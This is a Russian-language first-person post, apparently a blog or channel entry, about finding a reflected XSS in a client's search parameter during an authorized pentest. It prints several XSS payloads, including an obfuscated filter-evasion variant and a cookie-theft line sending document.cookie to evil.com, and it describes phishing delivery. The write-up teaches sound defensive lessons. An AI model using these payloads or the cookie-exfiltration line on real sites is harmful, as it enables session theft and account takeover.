💣 Свою первую уязвимость я нашёл за 3 минуты. И это было эпично

Reflected XSS. Кастомный payload. Боевой пентест для реального клиента, не баг-баунти со своими рамками и политиками — чистый хардкор.

🔍 Точка входа

Клиент попросил провести пентест веб-приложения. Классический сценарий: «У нас всё защищено, но для галочки проверьте». Ну-ну, сейчас посмотрим.

Первым делом — reconnaissance. Запускаю Burp Suite, настраиваю Proxy, перехватываю запросы. Открываю целевой сайт, кликаю по формам, смотрю на URL-параметры. И тут замечаю классику: поисковая строка, которая отправляет GET-запрос типа `?search=test`.

Проверяю ответ в Repeater — инпут отдаётся прямо на страницу без какой-либо фильтрации. Браузер просто рендерит то, что я закидываю в параметр. Моя хакерская интуиция сразу заорала: «Это оно!».

💻 Что бросилось в глаза

На странице результатов поиска вижу:

<p>Результаты поиска по запросу: test</p>

Значит, моё значение параметра `search` напрямую вставляется в HTML без санитизации. Нет ни `htmlspecialchars()`, ни Content Security Policy (CSP), ни WAF’а, который бы фильтровал инпут. Админ явно подумал, что «это же просто поиск, куда там XSS».

Красная тряпка для хакера. Время экспериментировать.

🪝 Вектор атаки

Начинаю с базового теста:

?search=<script>alert(1)</script>

Отправляю через Repeater — смотрю в ответ. Payload прошёл насквозь. Браузер выполнил скрипт, алерт вылез. Но это слишком очевидно, хочется покреативнее.

Решаю собрать кастомный payload под контекст. Использую SVG-вектор с обработчиком события:

?search=<svg onload=alert(document.domain)>

Boom! Алерт с доменом приложения. Payload сработал — браузер интерпретировал SVG-тег, выполнил JavaScript в контексте целевого сайта. Это уже не просто PoC, а демонстрация, что можно украсть cookies, токены сессии, провести фишинг — всё что угодно.

⚡ Эксплуатация и лайфхаки

Чтобы сделать payload менее палёвным (на случай если бы был какой-то basic фильтр), добавил лёгкую обфускацию:

?search=<svg/onload=alert(String.fromCharCode(88,83,83))>

`String.fromCharCode(88,83,83)` — это просто “XSS” в ASCII-кодах. Фильтры часто палятся на ключевые слова типа `alert`, `document.cookie`, но пропускают закодированные варианты.

Инструменты, которые рулили:

• Burp Suite — мой верный друг . Proxy для перехвата, Repeater для тестирования payload’ов, Intruder для перебора вариаций.

• Браузерная консоль — быстро проверить, как рендерится HTML и выполняется JS.

• OWASP XSS Filter Evasion Cheat Sheet — библия для обхода фильтров.

Что ещё можно было сделать: Если бы нужно было углубиться, я бы попробовал украсть cookies через:

<script>fetch('https://evil.com?c='+document.cookie)</script>

Или внедрить keylogger, перехватывающий ввод данных жертвы . Но для первого репорта хватило и PoC с алертом.

🚩 Почему это сработало

Отсутствие input validation — главная причина . Приложение доверяло пользовательскому вводу, не проверяя его на наличие вредоносного кода.

Нет CSP — Content Security Policy мог бы заблокировать выполнение inline-скриптов. Но его не было.

Reflected XSS — это когда вредоносный код не сохраняется на сервере, а сразу отражается в ответе. Атакующий создаёт вредоносную ссылку типа:

https://target.com/search?search=<svg onload=alert(1)>

И отправляет её жертве через фишинг, соцсети или email. Жертва кликает — скрипт выполняется в контексте доверенного сайта.

💥 Итоги

Время до находки: 3 минуты.

Сложность эксплуатации: низкая.

Потенциальный ущерб: высокий — кража сессий, phishing, дефейс.

Первая уязвимость — это всегда особенное чувство. Как первый root на чужом сервере: руки чуть дрожат, адреналин зашкаливает, а в голове уже планируешь цепочку эксплуатации.

Вывод: Если XSS ловится за 3 минуты — это не ты молодец (хотя респект себе всё равно), это админ забыл про азы безопасности. Но payload я собрал сам, не из копипаста, адаптировал под контекст — вот это уже скилл.

🔥 Мораль: Всегда валидируйте инпут. Или ко мне в пентест придут ещё быстрее, чем за 3 минуты.